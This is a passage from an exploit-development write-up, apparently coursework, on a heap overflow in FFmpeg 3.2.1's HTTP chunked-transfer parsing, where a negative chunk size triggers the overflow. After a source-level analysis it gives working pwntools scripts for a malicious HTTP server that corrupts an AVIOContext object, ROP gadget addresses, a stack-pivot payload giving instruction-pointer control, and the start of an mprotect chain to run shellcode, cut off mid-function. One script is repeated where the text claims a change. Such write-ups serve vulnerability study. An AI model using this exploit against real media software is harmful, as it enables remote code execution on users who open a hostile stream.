Part 1: The Vulnerability

Background

FFmpeg is a popular free software project that develops libraries and programs for manipulating audio, video, and image data. The command line tool ffmpeg is very widely used by users and commercial entities to transcode multimedia content and the libavformat muxing and demuxing library is used extensively by other software. Popular open source media players such as VLC or mplayer use the library as the main work horse to provide playback of various video and audio formats.

The vulnerability exists in the HTTP parsing functionality of the libavformat library. Hence, the bug may commonly triggered in applications that employ libavformat to parse HTTP streams containing multimedia data. One such application is the ffmpeg application shipped with a standard install of the project.

Vulnerability Classification

Originally discovered by Paul Cher, the vulnerability is a heap-based buffer overflow in the libavformat/http.c file in FFmpeg versions before 2.8.10, 3.0.x before 3.0.5, 3.1.x before 3.1.6, and 3.2.x before 3.2.2. A malicious HTTP server may cause the heap overflow to occur by supplying a negative chunk size in the HTTP response when enabling chunked transfer encoding to achieve arbitrary code execution.

The Overall CVSSv3 Score for the vulnerability is 9.8. This means that the bug is considered to be critical. The impact to the victim includes unauthorised disclosure of information, unauthorised modification of data, and allows for an attacker to disrupt services. The vulnerability is remotely triggered but requires the victim to initiate a connection with the malicious server.

Vulnerability Description

The Heap Overflow

The issue exists in the portion of the code handling HTTP responses from the queried HTTP server. The malicious code path is triggered by enabling chunked transfer encoding so that FFmpeg would process the response stream in chunks. In the file libavformat/http.c, we can find the following lines of code that enable the chunk processing behaviour.

 720 static int process_line(URLContext *h, char *line, int line_count,
 721                         int *new_location)
 722 {

 819         } else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
 820                    !av_strncasecmp(p, "chunked", 7)) {
 821             s->filesize  = -1;
 822             s->chunksize = 0;
 823         }

 855 }

Chunked transfer encoding is a mechanism specified in the HTTP protocol to allow for a transmission of the HTTP stream to be split up. This is used to provide buffering functionality so that images, audio, or video can be displayed or played without waiting for the entire file to be downloaded.

A chunked response example may look like so:

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n

The response body is encoded by splitting up the data to be transmitted into chunks and sending the length of the next chunk on a line followed by the chunk itself.

The actual vulnerability exists in the http_read_stream function in the file libavformat/http.c. The following lines are pertinent:

1235 static int http_read_stream(URLContext *h, uint8_t *buf, int size)
1236 {
1237     HTTPContext *s = h->priv_data;

1250     if (s->chunksize >= 0) {
1251         if (!s->chunksize) {
1252             char line[32];
1253
1254                 do {
1255                     if ((err = http_get_line(s, line, sizeof(line))) < 0)
1256                         return err;
1257                 } while (!*line);    /* skip CR LF from last chunk */
1258
1259                 s->chunksize = strtoll(line, NULL, 16);

1264                 if (!s->chunksize)
1265                     return 0;
1266         }
1267         size = FFMIN(size, s->chunksize);

1273     read_ret = http_buf_read(h, buf, size);

1295 }

Before performing the analysis, a little more information on the HTTPContext *s variable. The HTTPContext struct has the field chunksize which is of type int64_t. The important thing to note is that variables of type int64_t which are signed. This means that the field can represent negative integers.

gdb-peda$ ptype HTTPContext
type = struct HTTPContext {
...
    int64_t chunksize;
...
}

In the http_read_stream listing above, the chunk size is first read from the HTTP response into the variable line.

1255                     if ((err = http_get_line(s, line, sizeof(line))) < 0)

The next line of interest is the core of the vulnerability. The strtoll function converts a string to a long long which is equivalent to int64_t. The use of the strtoll function and int64_t data type means that the s->chunksize field can contain negative integers.

1259                 s->chunksize = strtoll(line, NULL, 16);

After the integer is parsed, it is run with the FFMIN macro.

1267         size = FFMIN(size, s->chunksize);

The FFMIN macro is declared in the libavutil/common.h file. The macro is simple and returns the lowest value of the two parameters. The size field contains 0x8000 at the beginning of the function. Hence, when a negative integer is parsed as the chunk size, it is always selected to be the size. For simplicity, we will assume that this chunk size is -1 from this point on.

96 #define FFMIN(a,b) ((a) > (b) ? (b) : (a))

The size is then passed to the function http_buf_read.

1273     read_ret = http_buf_read(h, buf, size);

The function http_buf_read is in libavformat/http.c. The function in turn calls ffurl_read with the size variable.

1166 static int http_buf_read(URLContext *h, uint8_t *buf, int size)
1167 {
1168     HTTPContext *s = h->priv_data;

1182         len = ffurl_read(s->hd, buf, size);

1198 }

The ffurl_read function is found in the libavformat/avio.c file. The retry_transfer_wrapper function is called. This time, the h->prot->url_read pointer is passed to the function.

407 int ffurl_read(URLContext *h, unsigned char *buf, int size)
408 {

411     return retry_transfer_wrapper(h, buf, size, 1, h->prot->url_read);
412 }

The pointer h->prot->url_read is a function pointer to the function tcp_read.

gdb-peda$ print *h.prot
$11 = {
...
  url_read = 0x6c7a90 <tcp_read>,
...
  }

The function retry_transfer_wrapper in libavformat/avio.c calls the function pointer passed in previously. The function that would be called in this case would be the tcp_read function.

364 static inline int retry_transfer_wrapper(URLContext *h, uint8_t *buf,
365                                          int size, int size_min,
366                                          int (*transfer_func)(URLContext *h,
367                                                               uint8_t *buf,
368                                                               int size))
369 {

378         ret = transfer_func(h, buf + len, size - len);

405 }

The tcp_read function in libavformat/tcp.c is the actual point in the code where the data from the socket is read into the buffer. This finally concludes in the actual buffer overflow because of the mismatch between the data type of int size in tcp_read and the data type of size_t len in recv.

201 static int tcp_read(URLContext *h, uint8_t *buf, int size)
202 {
203     TCPContext *s = h->priv_data;

211     ret = recv(s->fd, buf, size, 0);

213 }

From the man pages of recv:

ssize_t recv(int sockfd, void *buf, size_t len, int flags);

Since int is signed and size_t is unsigned, a signed value of -1 will be interpreted as an unsigned value of 0xffffffffffffffff. This will cause recv to read an extraordinarily large amount of data into the 0x8000 length buffer.

Since the buffer is on allocated on the heap, this results in a heap-based buffer overflow. See the section on Exploit Development for confirmation of this memory error condition.

Heap Layout

At the point of the overflow, the buffer is allocated right before an AVIOContext object. In the original exploit proof-of-concept by Paul Cher, he discovers that the AVIOContext object is allocated at an offset of 0x8060 from the buffer.

gdb-peda$ ptype AVIOContext
type = struct AVIOContext {
    const AVClass *av_class;
    unsigned char *buffer;
    int buffer_size;
    unsigned char *buf_ptr;
    unsigned char *buf_end;
    void *opaque;
    int (*read_packet)(void *, uint8_t *, int);
    int (*write_packet)(void *, uint8_t *, int);
    int64_t (*seek)(void *, int64_t, int);
    int64_t pos;
    int must_flush;
    int eof_reached;
    int write_flag;
    int max_packet_size;
    unsigned long checksum;
    unsigned char *checksum_ptr;
    ...
    }

Since we can corrupt the AVIOContext object, we can control the value of the fields. A particularly interesting field to control is the read_packet field which is used in the avio_read function. The function is called later in the program and will be the way an attacker can achieve remote code execution.

The avio_read function can be found in the libavformat/aviobuf.c file.

 604 int avio_read(AVIOContext *s, unsigned char *buf, int size)
 605 {

 614                 if(s->read_packet)
 615                     len = s->read_packet(s->opaque, buf, size);

 651 }

For completeness, the eof_reached field has to be addressed. During execution, if the field is not zero, the socket read is halted and will prevent the remote code execution control flow from executing.

Part 2: Demonstration

The Environment

1. Install Ubuntu 16.04 x64

In this demo, Ubuntu 16.04 x64 is used with vagrant.

$ vagrant init ubuntu/xenial64
$ vagrant up

2. Install Python and Pwntools

The exploit will be written in python using the pwntools framework. Pwntools is a framework for exploit development and enables rapid prototyping as well as debugging. Additionally, ropper, a tool to search for ROP gadgets within a given binary is installed.

$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev
build-essential
$ sudo pip install --upgrade pip
$ sudo pip install --upgrade pwntools
$ sudo pip install --upgrade ropper

Building FFmpeg 3.2.1

First, we need to update the system and install the dependencies.

sudo apt-get update
sudo apt-get -y install autoconf automake build-essential libass-dev \
    libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \
    libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \
    texinfo wget zlib1g-dev yasm

Next, we download the FFmpeg 3.2.1 release sources and build it according to the instructions given in https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu.

$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
$ tar xvfz n3.2.1.tar.gz
$ mkdir ~/ffmpeg_build
$ mkdir ~/ffmpeg_bin
$ cd FFmpeg-n3.2.1/
$ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
  --disable-stripping
$ make -j 4
$ make install

The binaries will be placed in the ~/ffmpeg_bin/ directory. The ffmpeg binary is the one that we will be working with in this demo.

$ ~/ffmpeg_bin/ffmpeg
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
  configuration: --prefix=/home/ubuntu/ffmpeg_build
                 --bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
Hyper fast Audio and Video encoder
usage: ffmpeg [options] [[infile options] -i infile]... {[outfile options]
       outfile}...

Use -h to get full help or, even better, run 'man ffmpeg'

Notice that the binary has the following protections enabled:

$ checksec ffmpeg_debug
[*] '/vagrant/assignments/assignment1/ffmpeg_debug'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

Furthermore, it is also assumed that ASLR will be enabled and that the exploit will have to bypass this mitigation.

Baseline Behaviour

In the expected use case, ffmpeg is used to convert a video stream served over HTTP into an AVI file. In this demonstration of baseline behaviour, we use a sample video from ‘sample-videos.com’ as an example stream.

The invocation and result looks like so:

$ ./ffmpeg -i \
http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4 \
/tmp/test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
  configuration: --prefix=/home/ubuntu/ffmpeg_build
                 --bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from
  'http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4':
  Metadata:
    major_brand     : isom
    minor_version   : 512
    compatible_brands: isomiso2avc1mp41
    creation_time   : 1970-01-01T00:00:00.000000Z
    encoder         : Lavf53.24.2
  Duration: 00:00:05.31, start: 0.000000, bitrate: 1589 kb/s
    Stream #0:0(und): Video: h264 (Main) (avc1 / 0x31637661), yuv420p, 1280x720
    [SAR 1:1 DAR 16:9], 1205 kb/s, 25 fps, 25 tbr, 12800 tbn, 50 tbc (default)
    Metadata:
      creation_time   : 1970-01-01T00:00:00.000000Z
      handler_name    : VideoHandler
    Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, 5.1, fltp,
      384 kb/s (default)
    Metadata:
      creation_time   : 1970-01-01T00:00:00.000000Z
      handler_name    : SoundHandler
Output #0, avi, to '/tmp/test.avi':
  Metadata:
    major_brand     : isom
    minor_version   : 512
    compatible_brands: isomiso2avc1mp41
    ISFT            : Lavf57.56.100
    Stream #0:0(und): Video: mpeg4 (FMP4 / 0x34504D46), yuv420p, 1280x720
    [SAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 25 fps, 25 tbn, 25 tbc (default)
    Metadata:
      creation_time   : 1970-01-01T00:00:00.000000Z
      handler_name    : VideoHandler
      encoder         : Lavc57.64.101 mpeg4
    Side data:
      cpb: bitrate max/min/avg: 0/0/200000 buffer size: 0 vbv_delay: -1
    Stream #0:1(und): Audio: ac3 ([0] [0][0] / 0x2000), 48000 Hz, 5.1, fltp,
    448 kb/s (default)
    Metadata:
      creation_time   : 1970-01-01T00:00:00.000000Z
      handler_name    : SoundHandler
      encoder         : Lavc57.64.101 ac3
Stream mapping:
  Stream #0:0 -> #0:0 (h264 (native) -> mpeg4 (native))
  Stream #0:1 -> #0:1 (aac (native) -> ac3 (native))
Press [q] to stop, [?] for help
frame=  132 fps= 36 q=31.0 Lsize=
903kB time=00:00:05.31 bitrate=1393.3kbits/s speed=1.47x
video:596kB audio:290kB subtitle:0kB other streams:0kB global headers:0kB muxing
overhead: 1.899860%

Developing the Exploit

Basic Crash Implementation

To begin with, we can start with a basic skeleton of a python script that is sufficient to cause a crash in ffmpeg.

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

def main():
    # Start a listener and wait for a connection from ffmpeg
    p = listen(12345)

    p.wait_for_connection()
    log.success("Victim found!")

    # Initialise the ffmpeg instance and prepare it for the bug
    p.send(headers)

    # Trigger the bug with the overly large read
    p.sendline("-1")
    log.info("Bug triggered. Please wait for two seconds...")
    time.sleep(2)   # The sleep allows for a clean transmission boundary

    payload  = "A" * 0x8060

    # Send the entire payload
    log.info("Payload sent!")
    p.send(payload)

    # Close the socket to terminate the read on the ffmpeg end to process the
    # overwrite
    p.close()

if __name__ == '__main__':
    main()

Running the python script and starting the listener.

$ python crash.py
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on port 59258
[+] Victim found!
[*] Bug triggered. Please wait for two seconds...
[*] Payload sent!
[*] Closed connection to 127.0.0.1 port 59258

Starting the ffmpeg binary ends in the binary yielding the abort signal and display an invalid free debug message which indicates some corruption of the heap.

$ ./ffmpeg -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
  configuration: --prefix=/home/ubuntu/ffmpeg_build
  --bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100
*** Error in `./ffmpeg': free(): invalid next size (normal): 0x0000000002042b80 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f01f9f047e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f01f9f0d37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f01f9f1153c]
./ffmpeg[0x5ca7b5]
./ffmpeg[0x5edb26]
./ffmpeg[0x6db95d]
./ffmpeg[0x4880b0]
./ffmpeg[0x489cec]
./ffmpeg(main+0xa2)[0x47bdf2]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f01f9ead830]
./ffmpeg[0x47c039]
======= Memory map: ========
00400000-01446000 r-xp 00000000 08:01 784064 /home/ubuntu/ffmpeg_bin/ffmpeg
01645000-01646000 r--p 01045000 08:01 784064 /home/ubuntu/ffmpeg_bin/ffmpeg
01646000-0168d000 rw-p 01046000 08:01 784064 /home/ubuntu/ffmpeg_bin/ffmpeg
0168d000-01de4000 rw-p 00000000 00:00 0
02040000-0207b000 rw-p 00000000 00:00 0      [heap]
...
7ffe943ad000-7ffe943af000 r--p 00000000 00:00 0                          [vvar]
7ffe943af000-7ffe943b1000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0              [vsyscall]
Aborted (core dumped)

AVIOContext Object Corruption

To corrupt the AVIOContext object, we can write a few more bytes.

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

def main():
    # Start a listener and wait for a connection from ffmpeg
    p = listen(12345)

    p.wait_for_connection()
    log.success("Victim found!")

    # Initialise the ffmpeg instance and prepare it for the bug
    p.send(headers)

    # Trigger the bug with the overly large read
    p.sendline("-1")
    log.info("Bug triggered. Please wait for two seconds...")
    time.sleep(2)   # The sleep allows for a clean transmission boundary

    payload  = "A" * 0x8060

    # Send the entire payload
    log.info("Payload sent!")
    p.send(payload)

    # Close the socket to terminate the read on the ffmpeg end to process the
    # overwrite
    p.close()

if __name__ == '__main__':
    main()

To verify that the bug does indeed exist, we can debug the program. To begin, we break on the recv call in the tcp_read function.

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0xffffffff
RCX: 0x0
RDX: 0xffffffffffffffff
RSI: 0x1de6b80 --> 0x0
RDI: 0x3
RBP: 0x1de6900 --> 0x10a9080 --> 0x10b7c68 --> 0x706374 (<ff_id3v1_read+1028>)
RSP: 0x7fffffffda80 --> 0x1de67c0 --> 0x10725e0 --> 0x106fc8a ("URLContext")
RIP: 0x6c7aae (<tcp_read+30>:    call   0x406220 <recv@plt>)
R8 : 0x0
R9 : 0x1
R10: 0x0
R11: 0x246
R12: 0x1de6b80 --> 0x0
R13: 0x6c7a90 (<tcp_read>:    push   r12)
R14: 0x5
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x6c7aa6 <tcp_read+22>:    xor    ecx,ecx
   0x6c7aa8 <tcp_read+24>:    movsxd rdx,ebx
   0x6c7aab <tcp_read+27>:    mov    rsi,r12
=> 0x6c7aae <tcp_read+30>:    call   0x406220 <recv@plt>
   0x6c7ab3 <tcp_read+35>:    test   eax,eax
   0x6c7ab5 <tcp_read+37>:    jns    0x6c7ac0 <tcp_read+48>
   0x6c7ab7 <tcp_read+39>:    call   0x405fc0 <__errno_location@plt>
   0x6c7abc <tcp_read+44>:    mov    eax,DWORD PTR [rax]
Guessed arguments:
arg[0]: 0x3
arg[1]: 0x1de6b80 --> 0x0
arg[2]: 0xffffffffffffffff
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda80 --> 0x1de67c0 --> 0x10725e0 --> 0x106fc8a ("URLContext")
0008| 0x7fffffffda88 --> 0x1de6b80 --> 0x0
0016| 0x7fffffffda90 --> 0xffffffff
0024| 0x7fffffffda98 --> 0x5c20c4 (<ffurl_read+116>:    cmp    eax,0xfffffffc)
0032| 0x7fffffffdaa0 --> 0x0
0040| 0x7fffffffdaa8 --> 0x1de4cd0 ("HTTP/1.1 200 OK\nServer: PwnServ/v1.0...")
0048| 0x7fffffffdab0 --> 0x1de4cc0 --> 0x10b5020 --> 0x107bff4 --> ('http')
0056| 0x7fffffffdab8 --> 0x1de4b20 --> 0x10725e0 --> 0x106fc8a ("URLContext")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000006c7aae in recv (__flags=0x0, __n=0xffffffffffffffff,
                                          __buf=0x1de6b80, __fd=0x3)
    at /usr/include/x86_64-linux-gnu/bits/socket2.h:44
44      return __recv_alias (__fd, __buf, __n, __flags);
gdb-peda$

We can observe the AVIOContext object to be corrupted just before it gets written into by using the printing functions of gdb.

gdb-peda$ p *(AVIOContext*)(0x1de6b80+0x8060)
$2 = {
  av_class = 0x1072860 <ff_avio_class>,
  buffer = 0x1de6b80 "",
  buffer_size = 0x8000,
  buf_ptr = 0x1de6b80 "",
  buf_end = 0x1de6b80 "",
  opaque = 0x1de69c0,
  read_packet = 0x5c4050 <io_read_packet>,
  write_packet = 0x5c4040 <io_write_packet>,
  seek = 0x5c4030 <io_seek>,
  pos = 0x0,
  must_flush = 0x0,
  eof_reached = 0x0,
  ...
}
gdb-peda$

After the overflow, we can observe that AVIOContext object has been corrupted.

gdb-peda$ p *(AVIOContext*)(0x1de6b80+0x8060)
$12 = {
  av_class = 0x4141414141414141,
  buffer = 0x4141414141414141,
  buffer_size = 0x41414141,
  buf_ptr = 0x4141414141414141,
  buf_end = 0x1de6b80 'A' <repeats 200 times>...,
  opaque = 0x1de69c0,
  read_packet = 0x5c4050 <io_read_packet>,
  write_packet = 0x5c4040 <io_write_packet>,
  seek = 0x5c4030 <io_seek>,
  pos = 0x0,
  must_flush = 0x0,
  eof_reached = 0x0,
  ...
}

The goal is to overwrite the read_packet which gives the RIP control.

Searching for ROP Gadgets

Before we begin writing the payload, we need some Return Oriented Programming (ROP) gadgets. We can find these gadgets by using ropper. ropper is a tool to automate ROP gadget search. In certain conditions, it can even be used to generate full ROP chains to meet certain objectives such as execve or mprotect chains.

Often, we are required to find gadgets that pop values from the stack into particular registers. We can search for them like so:

$ ropper --file ffmpeg_debug --search "pop rsi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi

[INFO] File: ffmpeg_debug
...
0x00000000005eb942: pop rdx; lahf; std; jmp qword ptr [rsi + 0x2e];
0x00000000009b7efc: pop rdx; leave; ucomisd xmm8, xmm9; seta al; neg eax; ret;
0x0000000000408859: pop rdx; ret;
0x00000000012244c4: pop rdx; salc; ret 0x7840;
0x000000000126a1c4: pop rdx; stc; stosd dword ptr [rdi], eax; cld; ret 0x2afe;
...

Another particularly useful gadget is the write-what-where gadget. These gadgets provide a primitive to place arbitrary memory in arbitrary locations. This is useful to write shellcode to a selected location.

$ ropper --file ffmpeg_debug --search "mov [%], r%x" --quality 1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov [%], r%x

[INFO] File: ffmpeg_debug
...
0x00000000007f452a: mov qword ptr [rsi + 0x38], rax; ret;
0x0000000000b9e69d: mov qword ptr [rsi + 8], rax; ret;
0x00000000007f4392: mov qword ptr [rsi + 8], rdx; ret;
0x0000000000422544: mov qword ptr [rsi], rdx; ret;
0x0000000000f41ec9: mov qword ptr [rsp + 0x10], r8; call rax;
0x0000000000abfb21: mov qword ptr [rsp + 0x10], rax; call rdx;
0x0000000000da8904: mov qword ptr [rsp + 0x10], rcx; call qword ptr [rcx];
...

Getting RIP Control

To get a ROP chain to work, we need to perform a little manipulation of the payload. The complete python script to achieve this is as follows:

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

# ROP Gadgets

pop_rsp = 0x00000000004077e9     # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fc75 # push rbx; jmp rdi;


def main():
    # Start a listener and wait for a connection from ffmpeg
    p = listen(12345)

    # Wait for connection before sending payload
    log.info("Waiting for the victim...")
    p.wait_for_connection()
    log.success("Victim found!")

    # Initialise the ffmpeg instance and prepare it for the bug
    p.send(headers)

    # Trigger the bug with the overly large read
    p.sendline("-1")
    log.info("Bug triggered. Please wait for two seconds...")
    time.sleep(2)   # The sleep allows for a clean transmission boundary

    payload  = "A" * 0x8060     # Padding to start of AVIOContext struct

    # Setup the fake AVIOContext struct for the pivot into attacker controlled
    # memory

    payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem (3)
    payload += ("A"*8) * 4      # [buffer, buffer_size, buf_ptr, buf_end]
    payload += p64(pop_rsp)     # [opaque] Value in RDI at (1). (2)

    payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)

    payload += ("X"*8) * 3      # [write_packet, seek, pos]
    payload += "AAAA"           # [must_flush]
    payload += p32(0)           # [eof_reached] Must be zero or read terminates
    payload += "A" * 8          # [write_flag, max_packet_size]
    payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
    payload += ("A"*8) * 11     # Padding to set up the stack for the main ROP

    # ROP chain starts here
    payload += p64(0xdeadbeef)  # ROP Chain
    payload += p64(0xcafebabe)
    payload += p64(0xba5eba11)

    # Send the entire payload
    log.info("Payload sent!")
    p.send(payload)

    # Close the socket to terminate the read on the ffmpeg end to process the
    # shellcode
    p.close()


if __name__ == '__main__':
    main()

The interesting part of the entire payload is the portion before the actual ROP chain. It sets up the AVIOContext object very carefully and utilises four different ROP gadgets to pivot the stack into the controllable region of heap memory.

Before walking through the execution flow, the eof_reached field must be set to 0. This happens in this line:

    payload += p32(0)           # [eof_reached] Must be zero or read terminates

The initial RIP control happens on this line:

    payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)

Next, since the address of pop_rsp was stored in RDI, the control flow will continue onto the following line:

   payload += p64(pop_rsp)     # [opaque] Value in RDI at (1). (2)

This moves the stack and executes the following line:

    payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem (3)

Finally, another stack pivot is executed to move the stack back up into an uncorrupted region of memory:

    payload += p64(stack_pivot) # [checksum] One more stack pivot (4)

From that point onward, we can include a standard ROP chain:

    payload += p64(0xdeadbeef)  # ROP Chain
    payload += p64(0xcafebabe)
    payload += p64(0xba5eba11)

To test this, we can break on the line in the avio_read function in libavformat/aviobuf.c:

 615                     len = s->read_packet(s->opaque, buf, size);

Which corresponds roughly to the following line in assembly:

   0x00000000005c79ab <+331>:    mov    r14d,r15d
   0x00000000005c79ae <+334>:    mov    rdi,QWORD PTR [rbx+0x28]
   0x00000000005c79b2 <+338>:    mov    edx,r14d
   0x00000000005c79b5 <+341>:    mov    rsi,rbp
   0x00000000005c79b8 <+344>:    call   rax

The important instruction is the call rax instruction. RAX would contain the value of s->read_packet and the instruction would cause the execution flow to jump to that value.

Allowing the binary to run until it crashes would show that the ROP chain works.

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x117fc75 --> 0xbfdd7fee7fff3ff
RBX: 0x1deebe0 --> 0x49daa9 (<term_init+105>:    add    rsp,0x58)
RCX: 0x4141414141414141 ('AAAAAAAA')
RDX: 0x80a395ca
RSI: 0x1deecb8 --> 0x300000000
RDI: 0x4077e9 (<audio_read_header+272>:    pop    rsp)
RBP: 0x1deecb8 --> 0x300000000
RSP: 0x1deeca8 --> 0xcafebabe
RIP: 0xdeadbeef
R8 : 0x0
R9 : 0x41414141 ('AAAA')
R10: 0x41414141 ('AAAA')
R11: 0x246
R12: 0x800
R13: 0x800
R14: 0x80a395ca
R15: 0x41414141 ('AAAA')
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0x1deeca8 --> 0xcafebabe
0008| 0x1deecb0 --> 0xba5eba11
0016| 0x1deecb8 --> 0x300000000
0024| 0x1deecc0 --> 0x8000000000000000
0032| 0x1deecc8 --> 0x831
0040| 0x1deecd0 --> 0x1de69d0 --> 0x20 (' ')
0048| 0x1deecd8 --> 0x0
0056| 0x1deece0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ bt
#0  0x00000000deadbeef in ?? ()
#1  0x00000000cafebabe in ?? ()
#2  0x00000000ba5eba11 in ?? ()
#3  0x0000000300000000 in ?? ()
#4  0x8000000000000000 in ?? ()
#5  0x0000000000000831 in ?? ()
#6  0x0000000001de69d0 in ?? ()
#7  0x0000000000000000 in ?? ()
gdb-peda$

The segfault shows that the program crashed on 0xdeadbeef and that the future return addresses are within our control.

mprotect ROP Chain

The next step is to write the ROP chain to perform an mprotect call to mark a region of memory as readable, writable, and executable. Then, the ROP chain would copy shellcode into this region of memory before jumping to it. First, we need to find the address of mprotect in the Procedure Linkage Table.

$ objdump -d ffmpeg | grep mprotect
00000000004071f0 <mprotect@plt>:
  4749b3:    e8 38 28 f9 ff           callq  4071f0 <mprotect@plt>
  4749d3:    e8 18 28 f9 ff           callq  4071f0 <mprotect@plt>

From the above we can get the address 0x00000000004071f0 as the address of mprotect. Additionally, we will need an address to pick as the place where we will put the shellcode. The writable section (0x01646000) of the binary is a good pick:

gdb-peda$ vmmap
Start              End              Perm    Name
0x00400000         0x01446000       r-xp    /home/ubuntu/debug/ffmpeg_bin/ffmpeg
0x01645000         0x01646000       r--p    /home/ubuntu/debug/ffmpeg_bin/ffmpeg
0x01646000         0x0168d000       rw-p    /home/ubuntu/debug/ffmpeg_bin/ffmpeg
0x0168d000         0x01e05000       rw-p    [heap]
...

Next, we can take a look at mmap.c in the Linux source code to figure out the values of PROT_READ, PROT_WRITE, and PROT_EXEC for the call to mprotect.

#define PROT_READ    0x1     /* Page can be read.  */
#define PROT_WRITE    0x2     /* Page can be written.  */
#define PROT_EXEC    0x4     /* Page can be executed.  */

The python code to perform the mprotect and copy shellcode is as follows:

# ROP Gadgets

pop_rsp = 0x00000000004077e9     # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fc75 # push rbx; jmp rdi;

mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4

pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859

write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;

mprotect_plt = 0x4071f0


def generate_mov(address_base, data):
    """Move data into memory startng at the given address_base with a write
    gadget."""

    def chunks(l, n):
        """Yield successive n-sized chunks from l."""
        for i in range(0, len(l), n):
            yield l[i:i + n]

